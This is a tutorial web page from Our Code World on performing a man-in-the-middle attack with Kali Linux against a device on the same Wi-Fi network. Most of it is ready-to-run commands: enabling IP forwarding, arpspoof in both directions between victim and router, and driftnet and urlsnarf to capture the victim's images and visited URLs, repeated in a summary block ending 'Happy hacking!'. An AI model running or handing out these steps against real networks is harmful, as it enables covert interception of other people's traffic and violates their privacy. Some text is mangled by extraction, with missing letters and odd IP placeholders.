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5/8/2018 How to perform a Man-in-the-middle (MITM) attack with Kali Linux | Our Code World

How to perform a Man-in-the-middle (MITM) attack with Kali


Linux
Published : March 25th 2017 Last modi cation : March 25th 2017  38657 views Actions

How to perform a Man-in-the-middle (MITM) attack with Kali Linux

In this article, you will learn how to perform a MITM attack to a device that's connected in the same Wi-Fi networks as yours.

Requirements
This article assumes that you know what is a network interface and you know to how to work with Kali Linux and the command line. Before starting, you will need to know
the name of the Network interface (installed on your machine) and the IP of the router that provides Wi-Fi access.

Attacker Required information Example value (you need to replace these values)

Network Interface Name wlan0

Router IP 192.000.000.1

The Network Interface Name can be easily obtained as running the ifconfig command on a terminal, then from the list copy the name of the interface that you want to
use. The IP of the router can be obtained executing ip route show on a terminal and a message like "default via [This is the router IP]".

From the victim, you will only need the IP (the user needs to be connected to the network provided by the router). The process of obtaining the device IP of the victim is
totally up to you, there are many ways to know it, for example there are routers/gatefays user interface programs that lists all the connected devices (with IPs on the list)
or just use a Network Monitoring Software Tool.

Victim Required Information Example value (you need to replace these values)

Victim device IP 192.000.000.52

As we're hacking ourselves in this article, we can obtain easily this information directly from our device:

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We are going to perform a MITM attack to a Samsung Galaxy S7 (connected to the router (router ip 192.000.000.1 ) with IP 192.000.000.52 ) that uses Google Chrome
and will navigate through different websites to show if the attack really works or not. Once you have collected all the required information, let's get started !

1. Enable packet forwarding in Linux


The rst thing you need to do is to forward all the IPv4 network packages. In this way your machine will act as a router. Execute the following command in a new terminal:

sysctl -w net.ipv4.ip_forward=1  Copy snippet

Note
If your machine isn't forwarding the packets, the internet connection of the user will freeze and therefore the attack will be useless.

2. Intercept packages from victim with arpspoof


arpspoof is a command line utility that allows you to intercept packets on a switched LAN. It redirects too packets from a target host (or all hosts) on the LAN intended for
another host on the LAN by forging ARP replies. This is an extremely effective way of snif ng traf c on a switch. The structure of the command to start intercepting
packets from the victim to the router is the following:

arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]  Copy snippet

So with our values, the command should look like:

Important
Run your command in a new terminal and let it running (don't close it until you want to stop the attack).

arpspoof -i wlan0 -t 192.000.000.52 192.000.000.1  Copy snippet

This process will monitor the packet ow from the Victim to the Router.

3. Intercept packets from router with arpspoof


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Now that you're intercepting packets from the victim to the router (running on a terminal), you need now to intercept the packets from the victim to the router with
arpspoof. The structure of the command to start intercepting packets from the router to the victim is the following:

arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]  Copy snippet

So with our values, the command should look like:

Important
Run your command in a new terminal and let it running (don't close it until you want to stop the attack).

arpspoof -i wlan0 -t 192.000.000.1 192.000.000.52  Copy snippet

As you can see, it's the same command of the previous step but we switched the possition of the arguments. Till this point you're already in ltrated to the connection
between your victim and the router. Now you just need to learn how to read those packets using driftnet and urlsnarf.

4. Sniff images from victim navigation


To see the images from websites that our victim visits, you need to use driftnet. Driftnet is a program which listens to network traf c and picks out images from TCP
streams it observes. Fun to run on a host which sees lots of web traf c. The strucure of the command to start driftnet and see the images that the user see on the
websites is the following:

driftnet -i [Network Interface Name]  Copy snippet

Note
If your machine isn't forwarding the packets, the internet connection of the user will freeze and therefore the attack will be useless.

With the information we have, our command should look like:

driftnet -i wlan0  Copy snippet

5. Sniff URLs information from victim navigation


To get information about the websites that our victim visits, you can use urlsnarf for it. It is a command line tool that sniffs HTTP requests in Common Log Format. It
outputs all requested URLs sniffed from HTTP traf c in CLF (Common Log Format, used by almost all web servers), suitable for of ine post-processing with your favorite
web log analysis tool (analog, wwwstat, etc.). The structure of the command to sniff the URLs that your victim visits, is the following:

urlsnarf -i [Network interface name]  Copy snippet

In this case, with the information we have, the command to execute will look like:

Note
If your machine isn't forwarding the packets, the internet connection of the user will freeze and therefore the attack will be useless.

urlsnarf -i wlan0  Copy snippet

Congratulations, if you have followed all the steps carefully, you should be now snif ng information about the target you've chosen with a MITM attack. Once your victim
visits a website, you should be able to read information about his actions on the internet. To stop the attack, press CTRL + C on every terminal where any process that
you've opened is running.

6. Disable packet forwarding (only when your attack has


nished)
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Once you are done with your attack (you don't want to sniff anymore), remember to disable the packet forwarding in the system again executing the following command
on a terminal:

sysctl -w net.ipv4.ip_forward=0  Copy snippet

Summary
If you have already followed the tutorial, you did everything right and it worked as expected, then follow the summary of the process the next time that you want to do this:

# Enable port forwarding  Copy snippet


sysctl -w net.ipv4.ip_forward=1

# Spoof connection between Victim and Router


# Note: Run this command in a new terminal and let it running
arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]

# Same step but inverted (nope, it's not the same ...)
# Note: Run this command in a new terminal and let it running
arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]

# Execute driftnet to sniff images


# Note: Run this command in a new terminal and let it running
driftnet -i [Network Interface Name]

# Sniff URL traffic of the victim


# Note: Run this command in a new terminal and let it running
urlsnarf -i [Network Interface Name]

# Disable port forwarding once you're done with the attack


sysctl -w net.ipv4.ip_forward=0

# Examples for values


# [Network Interface Name] = wlan0
# [Victim IP] = 192.000.xx
# [Router IP] = 192.000.1

Happy hacking !

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